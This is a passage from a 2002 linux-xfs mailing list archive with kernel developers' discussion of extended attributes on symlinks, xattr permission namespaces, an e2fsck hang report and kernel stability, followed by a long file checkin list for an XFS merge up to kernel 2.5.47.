./video: Operation not permitted > > > > > > > > > > Is there a security issue here for setting EA on softlinks that one > > > > > owns? I use EA to store icon name, x, y etc info in the object > > > > > itself, and anything else I add to get around this will be a poor > > > > > very app specific hack. I'm just hopefull that maybe security was > > > > > maybe tightened too far or I have made a slip up? > > > > > > > > i don't believe there is a security problem with allowing EA for the > > > > owner only on symlinks, i think the reason its not allowed is because > > > > that would require special casing the security rules for user.* > > > > namespace. the user.* namespace is controlled by standard unix file > > > > permissions (which are supposed to be irrelevant on symlinks). it > > > > would be messy to add special casing for where its permissions for > > > > normal files and file owner for symlinks. > > > > > > hmm, I agree it would add yet another complication, but without such a > > > case I think that many userland tools will build functions to do a > > > similar thing in a app dependent way (eg, setting normal EA on a .xxx > > > file for a symlink xxx). I'd love make 100% sure that the > > > if( symlink && owner == current-id ) > > > case is hated before I think of other ways around it (which might well > > > be making the personal patch available to allow the above case). > > > > The access rules for the user.* namespace are already complicated enough; > > I don't want to further complicate them. We have been anticipating > > additional namespaces with different access semantics, but nothing has > > been implemented yet: > > > > owner.* > > Allow access to the owner and to users capable of CAP_FOWNER. > > OK, so if I defaulted to user.ferris-icon-x and then tried > owner.ferris-icon-x I would have a somewhat valid solution. Also this > would allow the user to copy the symlink and preserve the metadata > fairly easily. > > > trusted.* > > Allow access to users capable of CAP_SYS_ADMIN. > > > > > > rather then complicate the code in the kernel its just forbidden to > > > > set EAs on symlinks at all (unless your root probably). > > > > Yes, user.* EAs are not allowed, but other kinds may be added that can be > > set on symlinks. > > I presume that patches are accepted :) If I am using XFS to store my EA > then from the above I am going to attack some kernel VFS code to get the > owner.* semantics, who do I send patches to? I feel somewhat responsible for ext2/ext3, and slightly less so for reiserfs. For XFS the right contact would be Nathan Scott, or the linux-xfs list. We should try to make a coordinated move. > [...] > > Which information do you want to attach to the symlink that you can't > > attach to the object pointed to in the first place? > > Basically its for multi desktop management. > eg. I have ~/.ego/desktopN/ which has a bunch of symlinks for desktop N > and a few special fake files for running raw scheme code. I may wish to > represent /tmp in two views, one with a small icon on the right hand > side of the screen just for convenience and on another desktop I might > want /tmp with a 64x64 icon and be more prominent on the screen at top > left. So as my code stands right now I store > user.ferris-icon-name > user.ferris-icon-x > user.ferris-icon-y > as EA on the object itself, be it a file/dir/symlink. This way the > symlinks can have different icons and locations. I see. The benefit over implementing this via special files seems to be that the symlink can be used by applications in the usual ways. Still it's seems kind of ugly to me... --Andreas. From owner-linux-xfs@oss.sgi.com Mon Nov 11 05:05:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 05:05:45 -0800 (PST) Received: from monkeyiq.dnsalias.org (dialup-182.160.221.203.acc04-john-stp.comindico.com.au [203.221.160.182]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABD5euR001581 for ; Mon, 11 Nov 2002 05:05:42 -0800 Received: by monkeyiq.dnsalias.org id gABD4dq21804 ; Mon, 11 Nov 2002 23:04:39 +1000 Date: Mon, 11 Nov 2002 23:04:39 +1000 Message-Id: <200211111304.gABD4dq21804@monkeyiq.dnsalias.org> Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs From: Ben Martin To: Andreas Gruenbacher Cc: acl-devel@bestbits.at, linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-archive-position: 1619 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: monkeyiq@users.sourceforge.net Precedence: bulk X-list: linux-xfs On Mon, 2002-11-11 at 22:14, Andreas Gruenbacher wrote: > > I feel somewhat responsible for ext2/ext3, and slightly less so for reiserfs. > For XFS the right contact would be Nathan Scott, or the linux-xfs list. We > should try to make a coordinated move. OK, I'll keep cc'ing both lists if/when I get the patches going. > > > [...] > > > Which information do you want to attach to the symlink that you can't > > > attach to the object pointed to in the first place? > > > > Basically its for multi desktop management. > > eg. I have ~/.ego/desktopN/ which has a bunch of symlinks for desktop N > > and a few special fake files for running raw scheme code. I may wish to > > represent /tmp in two views, one with a small icon on the right hand > > side of the screen just for convenience and on another desktop I might > > want /tmp with a 64x64 icon and be more prominent on the screen at top > > left. So as my code stands right now I store > > user.ferris-icon-name > > user.ferris-icon-x > > user.ferris-icon-y > > as EA on the object itself, be it a file/dir/symlink. This way the > > symlinks can have different icons and locations. > > I see. The benefit over implementing this via special files seems to be that > the symlink can be used by applications in the usual ways. Still it's seems > kind of ugly to me... What solution would you suggest? I have thought of adapting libferris to support a new symlink format, using regular files and pretending at its API level that it is a link. I was still trying to avoid that for now as it opens up a few other issues. > > --Andreas. > > _______________________________________________ > acl-devel mailing list > acl-devel@bestbits.at > http://acl.bestbits.at/mailman/listinfo/acl-devel -- ----------------------------------------------------- In this world there are only two tragedies. One is not getting what one wants, and the other is getting it. -- Oscar Wilde http://witme.sourceforge.net/libferris.web/ From owner-linux-xfs@oss.sgi.com Mon Nov 11 05:09:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 05:09:15 -0800 (PST) Received: from monkeyiq.dnsalias.org (dialup-182.160.221.203.acc04-john-stp.comindico.com.au [203.221.160.182]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABD9BuR002008 for ; Mon, 11 Nov 2002 05:09:13 -0800 Received: by monkeyiq.dnsalias.org id gABD8IQ21834 ; Mon, 11 Nov 2002 23:08:18 +1000 Date: Mon, 11 Nov 2002 23:08:18 +1000 Message-Id: <200211111308.gABD8IQ21834@monkeyiq.dnsalias.org> Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs From: Ben Martin To: Ethan Benson Cc: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-archive-position: 1620 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: monkeyiq@users.sourceforge.net Precedence: bulk X-list: linux-xfs On Mon, 2002-11-11 at 22:08, Ethan Benson wrote: > On Mon, Nov 11, 2002 at 09:55:23PM +1000, Ben Martin wrote: > > > > Basically its for multi desktop management. > > eg. I have ~/.ego/desktopN/ which has a bunch of symlinks for desktop N > > and a few special fake files for running raw scheme code. I may wish to > > represent /tmp in two views, one with a small icon on the right hand > > side of the screen just for convenience and on another desktop I might > > want /tmp with a 64x64 icon and be more prominent on the screen at top > > left. So as my code stands right now I store > > user.ferris-icon-name > > user.ferris-icon-x > > user.ferris-icon-y > > as EA on the object itself, be it a file/dir/symlink. This way the > > symlinks can have different icons and locations. > > this is somewhat off-topic, but are you really sure EAs are the best > place for this kind of info? please consider that UNIX is a multi > user OS, in shared directories this method of storage will fall down > as the various users accessing the data will either clobber each > other's preferences for icon placement, or be annoyed by other users > choices (it all depends on the permissions of the files/dirs). Well, to solve multi user its easy to use user.ferris-icon-x-joe-black etc. Of the usual suspects ie: * efm style, using a .efm-meta file in the directory * out of line ~/.myapp/icondata.db * filename mirroring, fileX has a .fileX.meta * GConf style I chose to go with using EA for this because its easy to have multi apps using the same data and IMHO its easier to administer because copy/move can preserve metadata easier. > > -- > Ethan Benson > http://www.alaska.net/~erbenson/ -- ----------------------------------------------------- In this world there are only two tragedies. One is not getting what one wants, and the other is getting it. -- Oscar Wilde http://witme.sourceforge.net/libferris.web/ From owner-linux-xfs@oss.sgi.com Mon Nov 11 05:37:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 05:37:51 -0800 (PST) Received: from lightning.adam.com.au (lightning.adam.com.au [203.2.124.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABDbkuR002739 for ; Mon, 11 Nov 2002 05:37:47 -0800 Received: (qmail 15743 invoked from network); 11 Nov 2002 13:39:11 -0000 Received: from 202-6-130-79.ip.adam.com.au (HELO localhost) (202.6.130.79) by eden.adam.com.au with SMTP; 11 Nov 2002 13:39:11 -0000 Date: Tue, 12 Nov 2002 00:23:16 +1030 From: David Lloyd To: Robin Humble Cc: linux-xfs@oss.sgi.com Subject: Re: How risky is 2.5.x? Message-Id: <20021112002316.0611f1d3.lloy0076@adam.com.au> In-Reply-To: <20021111003017.C23548@marmot.cita.utoronto.ca> References: <87wunlsvri.fsf@Login.CERT.Uni-Stuttgart.DE> <20021110193742.70a3be2b.lloy0076@adam.com.au> <20021111003017.C23548@marmot.cita.utoronto.ca> X-Mailer: Sylpheed version 0.8.5 (GTK+ 1.2.9; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 1621 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lloy0076@adam.com.au Precedence: bulk X-list: linux-xfs Robin, > There are 'issues' with all kernels. If there wasn't, then 2.4 > development would have stopped at 2.4.0 :-) Yes, but 2.4.X kernels aren't meant to be in a state of quick and sudden flux. Whilst I agree new features are added to 2.4.X series kernels there are by far more known issues with a 2.5.X series kernel. Indeed, I could equally argue that if 2.5.X is so supposedly stable, then why bother running a development version at all and just merge everything into 2.4.X... DSL -- Angel of Music, why deny me? Turning from true beauty! Angel of music, do not shun me, Turn to your strange Angel! From owner-linux-xfs@oss.sgi.com Mon Nov 11 05:54:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 05:54:31 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABDsQuR003478 for ; Mon, 11 Nov 2002 05:54:27 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 7AFEC1485E; Mon, 11 Nov 2002 14:55:51 +0100 (MET) Content-Type: text/plain; charset="iso-8859-1" From: Andreas Gruenbacher Organization: SuSE Linux AG To: Stindl Wolfgang EXT Subject: Re: [Acl-Devel] e2fsck -f ==> system hangs Date: Mon, 11 Nov 2002 14:55:50 +0100 User-Agent: KMail/1.4.3 References: <47D438A0510BD611B9470002A58EDAE7B70DBD@mchh2a6e.mchh.siemens.de> In-Reply-To: <47D438A0510BD611B9470002A58EDAE7B70DBD@mchh2a6e.mchh.siemens.de> Cc: acl-devel@bestbits.at, linux-xfs@oss.sgi.com MIME-Version: 1.0 Message-Id: <200211111455.50845.agruen@suse.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gABDsRuR003480 X-archive-position: 1622 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: agruen@suse.de Precedence: bulk X-list: linux-xfs On Monday 11 November 2002 14:39, Stindl Wolfgang EXT wrote: > Hi, > > every time I run e2fsck with an acl-enabled kernel, the system hangs. You mean while checking a file system e2fsck hangs if running on a kernel that has the xattr+acl patches, but it runs successfully on a kernel with just those two patches removed? Does the kernel hang when using the file system instead? If so, could you please check if this works (substitute the correct partition for /dev/hda1): $ dd if=/dev/hda1 of=/dev/null If you are running SuSE 8.1, why can't you run the SuSE kernel? --Andreas. From owner-linux-xfs@oss.sgi.com Mon Nov 11 06:42:16 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 06:42:18 -0800 (PST) Received: from guardian.hermes.si (guardian.hermes.si [193.77.5.150]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABEgDuR004269 for ; Mon, 11 Nov 2002 06:42:15 -0800 Received: from primus.hermes.si (primus.hermes.si [193.77.5.98]) by guardian.hermes.si (8.9.3/8.9.3) with ESMTP id PAA00894; Mon, 11 Nov 2002 15:42:47 +0100 (MET) Received: from localhost (localhost.localdomain [127.0.0.1]) by primus.hermes.si (Postfix) with ESMTP id 2800B73C8B; Mon, 11 Nov 2002 15:41:05 +0100 (CET) Received: from hsl-lj3x.hermes.si (hsl-lj3x.hermes.si [10.41.200.200]) by primus.hermes.si (Postfix) with ESMTP id 868A673C85; Mon, 11 Nov 2002 15:41:04 +0100 (CET) Received: by hsl-lj3x.hermes.si with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Nov 2002 15:40:10 +0100 Message-ID: From: Luka Renko To: Andreas Gruenbacher , "Theodore Ts'o" Cc: Alexander Viro , "Stephen C.Tweedie" , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com Subject: RE: [Ext2-devel] Re: Extended attributes: process vs. kernel cont ext (e.g. HSM) Date: Mon, 11 Nov 2002 15:40:09 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Virus-Scanned: by AMaViS snapshot-20010714 X-archive-position: 1623 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: luka.renko@hermes.si Precedence: bulk X-list: linux-xfs On Mon, November 11, 2002, Andreas Gruenbacher wrote: > I think adding a (struct task_struct *) parameter to the xattr inode > operations is a better idea --- I don't know how likely it is that > credentials will be passed around in a future kernel, but if > it's likely then > the xattr inode operations would move in the right direction, > instead of > introducing weird flag(s). But to we know that this will be the move in the right direction? I kind of like Ted's proposal (adding just flag for priviledged uses) - it just extends flags argument to all xattr functions (currently only in setxattr). If task_struct will be passed in the future, a major refactoring of VFS will be required anyhow and xattr functions will be just a smaller part of the effort. Regards, Luka From owner-linux-xfs@oss.sgi.com Mon Nov 11 07:36:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 07:36:54 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABFajuR005288 for ; Mon, 11 Nov 2002 07:36:46 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA49373 for ; Mon, 11 Nov 2002 09:38:10 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA15890 for ; Mon, 11 Nov 2002 09:38:10 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gABFb3320014; Mon, 11 Nov 2002 09:37:03 -0600 Message-Id: <200211111537.gABFb3320014@jen.americas.sgi.com> Date: Mon, 11 Nov 2002 09:37:03 -0600 Subject: TAKE - merge up to 2.5.47 To: linux-xfs@oss.sgi.com X-archive-position: 1624 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs The XFS in this tree and Linus's are basically the same except for dmapi now. The only other difference in this tree is kdb. Steve Date: Mon Nov 11 07:34:38 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132670a linux/usr/initramfs_data.scr - 1.1 linux/arch/ppc/syslib/pplus_common.c - 1.1 linux/arch/ppc/syslib/prep_nvram.c - 1.1 linux/drivers/net/b44.c - 1.1 linux/drivers/net/b44.h - 1.1 linux/drivers/net/irda/actisys-sir.c - 1.1 linux/drivers/net/irda/esi-sir.c - 1.1 linux/drivers/net/irda/irtty-sir.c - 1.1 linux/Documentation/kbuild/kconfig-language.txt - 1.1 linux/Documentation/networking/pktgen.txt - 1.1 linux/drivers/net/irda/irtty-sir.h - 1.1 linux/drivers/net/irda/sir-dev.h - 1.1 linux/drivers/net/irda/sir_core.c - 1.1 linux/drivers/net/irda/sir_dev.c - 1.1 linux/drivers/net/irda/sir_dongle.c - 1.1 linux/drivers/net/irda/sir_kthread.c - 1.1 linux/drivers/net/irda/tekram-sir.c - 1.1 linux/drivers/hotplug/cpcihp_zt5550.h - 1.1 linux/drivers/hotplug/cpcihp_zt5550.c - 1.1 linux/drivers/hotplug/cpcihp_generic.c - 1.1 linux/drivers/hotplug/cpci_hotplug_pci.c - 1.1 linux/drivers/hotplug/cpci_hotplug_core.c - 1.1 linux/drivers/hotplug/cpci_hotplug.h - 1.1 linux/drivers/serial/68328serial.c - 1.1 linux/drivers/serial/68328serial.h - 1.1 linux/drivers/serial/68360serial.c - 1.1 linux/drivers/serial/mcfserial.c - 1.1 linux/drivers/serial/mcfserial.h - 1.1 linux/drivers/serial/nb85e_uart.c - 1.1 linux/crypto/sha256.c - 1.1 linux/crypto/hmac.c - 1.1 linux/crypto/blowfish.c - 1.1 linux/fs/jfs/jfs_acl.h - 1.1 linux/arch/ppc/syslib/todc_time.c - 1.1 linux/arch/ppc/syslib/qspan_pci.c - 1.1 linux/arch/ppc/syslib/prom_init.c - 1.1 linux/arch/ppc/syslib/prom.c - 1.1 linux/arch/ppc/syslib/ppc8xx_pic.h - 1.1 linux/arch/ppc/syslib/ppc8xx_pic.c - 1.1 linux/arch/ppc/syslib/ppc8260_pic.h - 1.1 linux/arch/ppc/syslib/ppc8260_pic.c - 1.1 linux/arch/ppc/syslib/ppc4xx_setup.c - 1.1 linux/arch/i386/kernel/cpu/mcheck/Makefile - 1.1 linux/arch/i386/kernel/cpu/mcheck/k7.c - 1.1 linux/arch/i386/kernel/cpu/mcheck/mce.c - 1.1 linux/arch/i386/kernel/cpu/mcheck/mce.h - 1.1 linux/arch/i386/kernel/cpu/mcheck/non-fatal.c - 1.1 linux/arch/i386/kernel/cpu/mcheck/p4.c - 1.1 linux/arch/i386/kernel/cpu/mcheck/p5.c - 1.1 linux/arch/i386/kernel/cpu/mcheck/p6.c - 1.1 linux/arch/i386/kernel/cpu/mcheck/winchip.c - 1.1 linux/arch/ppc/syslib/ppc4xx_serial.c - 1.1 linux/net/key/af_key.c - 1.1 linux/arch/ppc/syslib/ppc4xx_pm.c - 1.1 linux/arch/ppc/syslib/ppc4xx_pic.c - 1.1 linux/net/key/Makefile - 1.1 linux/arch/ppc/syslib/ppc4xx_kgdb.c - 1.1 linux/arch/ppc/syslib/ppc405_pci.c - 1.1 linux/arch/ppc/syslib/ppc405_dma.c - 1.1 linux/arch/ppc/syslib/pci_auto.c - 1.1 linux/arch/ppc/syslib/open_pic_defs.h - 1.1 linux/arch/ppc/syslib/open_pic.c - 1.1 linux/arch/ppc/syslib/mpc10x_common.c - 1.1 linux/arch/ppc/syslib/m8xx_setup.c - 1.1 linux/arch/ppc/syslib/m8260_setup.c - 1.1 linux/arch/ppc/syslib/indirect_pci.c - 1.1 linux/arch/ppc/syslib/i8259.c - 1.1 linux/arch/ppc/syslib/harrier.c - 1.1 linux/arch/ppc/syslib/gt64260_pic.c - 1.1 linux/arch/ppc/syslib/gt64260_common.c - 1.1 linux/arch/ppc/syslib/cpc710.h - 1.1 linux/arch/ppc/syslib/cpc700_pic.c - 1.1 linux/arch/ppc/syslib/cpc700.h - 1.1 linux/arch/ppc/syslib/btext.c - 1.1 linux/arch/ppc/syslib/Makefile - 1.1 linux/arch/ppc/kernel/ppc6xx_idle.c - 1.1 linux/arch/ppc/kernel/iSeries_idle.c - 1.1 linux/net/core/pktgen.c - 1.1 linux/net/ipv4/esp.c - 1.1 linux/scripts/tkparse.h - 1.6 linux/scripts/tkparse.c - 1.10 linux/scripts/tkgen.c - 1.9 linux/scripts/tkcond.c - 1.6 linux/scripts/tail.tk - 1.6 linux/scripts/README.Menuconfig - 1.3 linux/scripts/Menuconfig - 1.17 linux/scripts/Makefile - 1.13 linux/scripts/Configure - 1.18 linux/net/sunrpc/xprt.c - 1.36 linux/net/sunrpc/svcsock.c - 1.25 linux/net/sunrpc/svc.c - 1.18 linux/net/sunrpc/sunrpc_syms.c - 1.17 linux/net/sunrpc/sched.c - 1.33 linux/net/sunrpc/pmap_clnt.c - 1.9 linux/net/sunrpc/clnt.c - 1.24 linux/net/sunrpc/auth_unix.c - 1.10 linux/net/sunrpc/auth_null.c - 1.10 linux/net/socket.c - 1.47 linux/net/sched/sch_api.c - 1.15 linux/net/packet/af_packet.c - 1.38 linux/net/netsyms.c - 1.55 linux/net/irda/irlap_frame.c - 1.18 linux/net/ipv6/tcp_ipv6.c - 1.44 linux/net/ipv6/route.c - 1.26 linux/net/ipv6/reassembly.c - 1.14 linux/net/ipv6/ip6_fib.c - 1.15 linux/net/ipv6/addrconf.c - 1.30 linux/net/ipv4/udp.c - 1.36 linux/net/ipv4/tcp_ipv4.c - 1.54 linux/net/ipv4/tcp_input.c - 1.46 linux/net/ipv4/tcp.c - 1.49 linux/net/ipv4/route.c - 1.39 linux/net/ipv4/raw.c - 1.28 linux/net/ipv4/ipmr.c - 1.26 linux/net/ipv4/ipip.c - 1.27 linux/net/ipv4/ip_sockglue.c - 1.22 linux/net/ipv4/ip_output.c - 1.39 linux/net/ipv4/ip_input.c - 1.19 linux/net/ipv4/ip_gre.c - 1.26 linux/net/ipv4/ip_forward.c - 1.10 linux/net/ipv4/fib_hash.c - 1.8 linux/net/ipv4/devinet.c - 1.19 linux/net/ipv4/af_inet.c - 1.45 linux/net/ipv4/Makefile - 1.14 linux/net/core/profile.c - 1.10 linux/net/core/dst.c - 1.13 linux/net/core/dev.c - 1.63 linux/net/core/Makefile - 1.12 linux/net/ax25/ax25_dev.c - 1.6 linux/net/Makefile - 1.28 linux/mm/slab.c - 1.45 linux/mm/page_alloc.c - 1.100 linux/mm/mmap.c - 1.66 linux/mm/filemap.c - 1.143 linux/lib/vsprintf.c - 1.19 linux/kernel/sysctl.c - 1.61 linux/kernel/signal.c - 1.46 linux/kernel/sched.c - 1.89 linux/kernel/ksyms.c - 1.175 linux/kernel/fork.c - 1.77 linux/kernel/exit.c - 1.58 linux/include/net/sock.h - 1.40 linux/include/net/snmp.h - 1.10 linux/include/net/route.h - 1.20 linux/include/net/protocol.h - 1.9 linux/include/net/dst.h - 1.10 linux/include/linux/vmalloc.h - 1.22 linux/include/linux/timer.h - 1.19 linux/include/linux/sysctl.h - 1.66 linux/include/linux/sunrpc/xprt.h - 1.17 linux/include/linux/sunrpc/xdr.h - 1.10 linux/include/linux/sunrpc/svcsock.h - 1.9 linux/include/linux/sunrpc/svc.h - 1.12 linux/include/linux/sunrpc/sched.h - 1.13 linux/include/linux/sunrpc/clnt.h - 1.12 linux/include/linux/slab.h - 1.26 linux/include/linux/sched.h - 1.92 linux/include/linux/rpcsock.h - 1.3 linux/include/linux/resource.h - 1.5 linux/include/linux/poll.h - 1.6 linux/include/linux/pci.h - 1.68 linux/include/linux/pagemap.h - 1.50 linux/include/linux/nfsiod.h - 1.3 linux/include/linux/nfsd/xdr3.h - 1.8 linux/include/linux/nfsd/xdr.h - 1.8 linux/include/linux/nfs_fs_sb.h - 1.10 linux/include/linux/nfs_fs.h - 1.29 linux/include/linux/module.h - 1.38 linux/include/linux/mm.h - 1.108 linux/include/linux/ipsec.h - 1.4 linux/include/linux/inetdevice.h - 1.8 linux/include/linux/in.h - 1.7 linux/include/linux/fs.h - 1.199 linux/include/linux/elfcore.h - 1.6 linux/include/linux/elf.h - 1.17 linux/include/linux/blkdev.h - 1.78 linux/include/asm-sparc64/unistd.h - 1.28 linux/include/asm-sparc64/poll.h - 1.4 linux/include/asm-sparc64/elf.h - 1.15 linux/include/asm-sparc/vac-ops.h - 1.4 linux/include/asm-sparc/unistd.h - 1.26 linux/include/asm-sparc/system.h - 1.16 linux/include/asm-sparc/poll.h - 1.4 linux/include/asm-ppc/unistd.h - 1.28 linux/include/asm-ppc/poll.h - 1.5 linux/include/asm-ppc/page.h - 1.18 linux/include/asm-ppc/mman.h - 1.9 linux/include/asm-ppc/machdep.h - 1.26 linux/include/asm-i386/hardirq.h - 1.26 linux/include/asm-i386/elf.h - 1.8 linux/include/asm-i386/bitops.h - 1.16 linux/fs/umsdos/rdir.c - 1.17 linux/fs/umsdos/inode.c - 1.28 linux/fs/umsdos/dir.c - 1.21 linux/fs/ufs/super.c - 1.38 linux/fs/ufs/inode.c - 1.27 linux/fs/ufs/dir.c - 1.21 linux/fs/stat.c - 1.29 linux/fs/read_write.c - 1.29 linux/fs/ntfs/inode.c - 1.24 linux/fs/nfsd/vfs.c - 1.60 linux/fs/nfsd/nfsxdr.c - 1.19 linux/fs/nfsd/nfsproc.c - 1.30 linux/fs/nfsd/nfs3xdr.c - 1.32 linux/fs/nfsd/nfs3proc.c - 1.20 linux/fs/nfs/write.c - 1.45 linux/fs/nfs/read.c - 1.37 linux/fs/nfs/nfsroot.c - 1.17 linux/fs/nfs/nfs2xdr.c - 1.22 linux/fs/nfs/mount_clnt.c - 1.9 linux/fs/nfs/inode.c - 1.58 linux/fs/nfs/file.c - 1.39 linux/fs/nfs/Makefile - 1.11 linux/fs/locks.c - 1.35 linux/fs/file_table.c - 1.27 linux/fs/fifo.c - 1.17 linux/fs/fat/inode.c - 1.52 linux/fs/fat/file.c - 1.28 linux/fs/fat/dir.c - 1.22 linux/fs/ext2/super.c - 1.39 linux/fs/ext2/inode.c - 1.60 linux/fs/ext2/dir.c - 1.25 linux/fs/ext2/acl.c - 1.8 linux/fs/exec.c - 1.72 linux/fs/buffer.c - 1.142 linux/fs/block_dev.c - 1.68 linux/fs/binfmt_misc.c - 1.27 linux/fs/binfmt_elf.c - 1.49 linux/fs/attr.c - 1.19 linux/fs/affs/symlink.c - 1.16 linux/fs/affs/super.c - 1.28 linux/fs/affs/namei.c - 1.22 linux/fs/affs/file.c - 1.32 linux/fs/affs/dir.c - 1.16 linux/fs/affs/amigaffs.c - 1.15 linux/drivers/video/fbmem.c - 1.54 linux/drivers/video/fbcon.c - 1.30 linux/drivers/scsi/wd7000.c - 1.20 linux/drivers/scsi/ultrastor.h - 1.5 linux/drivers/scsi/ultrastor.c - 1.16 linux/drivers/scsi/u14-34f.h - 1.15 linux/drivers/scsi/u14-34f.c - 1.27 linux/drivers/scsi/st.c - 1.58 linux/drivers/scsi/sr.h - 1.13 linux/drivers/scsi/sr.c - 1.59 linux/drivers/scsi/sg.c - 1.44 linux/drivers/scsi/sd.c - 1.79 linux/drivers/scsi/scsi_syms.c - 1.24 linux/drivers/scsi/scsi_debug.h - 1.11 linux/drivers/scsi/scsi_debug.c - 1.26 linux/drivers/scsi/scsi.h - 1.40 linux/drivers/scsi/scsi.c - 1.66 linux/drivers/scsi/qlogicpti.h - 1.9 linux/drivers/scsi/qlogicpti.c - 1.23 linux/drivers/scsi/qlogicfas.c - 1.18 linux/drivers/scsi/pluto.c - 1.15 linux/drivers/scsi/megaraid.h - 1.17 linux/drivers/scsi/megaraid.c - 1.39 linux/drivers/scsi/in2000.c - 1.14 linux/drivers/scsi/ibmmca.h - 1.9 linux/drivers/scsi/ibmmca.c - 1.20 linux/drivers/scsi/hosts.h - 1.31 linux/drivers/scsi/hosts.c - 1.36 linux/drivers/scsi/g_NCR5380.h - 1.9 linux/drivers/scsi/fd_mcs.h - 1.6 linux/drivers/scsi/fd_mcs.c - 1.10 linux/drivers/scsi/esp.h - 1.10 linux/drivers/scsi/esp.c - 1.28 linux/drivers/scsi/eata_pio.h - 1.4 linux/drivers/scsi/eata_pio.c - 1.17 linux/drivers/scsi/eata.h - 1.15 linux/drivers/scsi/eata.c - 1.30 linux/drivers/scsi/aha1740.h - 1.6 linux/drivers/scsi/aha1740.c - 1.13 linux/drivers/scsi/NCR53c406a.h - 1.6 linux/drivers/scsi/NCR53c406a.c - 1.16 linux/drivers/scsi/NCR5380.c - 1.14 linux/drivers/sbus/char/bpp.c - 1.22 linux/drivers/pci/quirks.c - 1.32 linux/drivers/pci/pci.c - 1.63 linux/drivers/pci/Makefile - 1.27 linux/drivers/net/znet.c - 1.12 linux/drivers/net/mace.c - 1.19 linux/drivers/net/irda/Makefile - 1.21 linux/drivers/net/bmac.c - 1.22 linux/drivers/net/atari_pamsnet.c - 1.14 linux/drivers/net/atari_bionet.c - 1.14 linux/drivers/net/Makefile - 1.64 linux/drivers/net/3c59x.c - 1.41 linux/drivers/net/3c505.c - 1.30 linux/drivers/macintosh/via-pmu.c - 1.21 linux/drivers/macintosh/via-cuda.c - 1.11 linux/drivers/macintosh/macserial.h - 1.9 linux/drivers/macintosh/macserial.c - 1.24 linux/drivers/macintosh/mackeymap.map - 1.3 linux/drivers/macintosh/macio-adb.c - 1.7 linux/drivers/macintosh/mac_keyb.c - 1.18 linux/drivers/macintosh/adb.c - 1.20 linux/drivers/macintosh/Makefile - 1.16 linux/drivers/fc4/fc.c - 1.13 linux/drivers/char/wdt.c - 1.17 linux/drivers/char/vt.c - 1.29 linux/drivers/char/vc_screen.c - 1.15 linux/drivers/char/tty_io.c - 1.57 linux/drivers/char/tpqic02.c - 1.24 linux/drivers/char/sysrq.c - 1.32 linux/drivers/char/synclink.c - 1.30 linux/drivers/char/stallion.c - 1.25 linux/drivers/char/softdog.c - 1.16 linux/drivers/char/serial167.c - 1.16 linux/drivers/char/rtc.c - 1.33 linux/drivers/char/riscom8.c - 1.16 linux/drivers/char/random.c - 1.35 linux/drivers/char/pcwd.c - 1.20 linux/drivers/char/nvram.c - 1.25 linux/drivers/char/misc.c - 1.32 linux/drivers/char/mem.c - 1.49 linux/drivers/char/lp.c - 1.35 linux/drivers/char/keyboard.c - 1.30 linux/drivers/char/istallion.c - 1.25 linux/drivers/char/isicom.c - 1.22 linux/drivers/char/dtlk.c - 1.20 linux/drivers/char/dsp56k.c - 1.21 linux/drivers/char/cyclades.c - 1.25 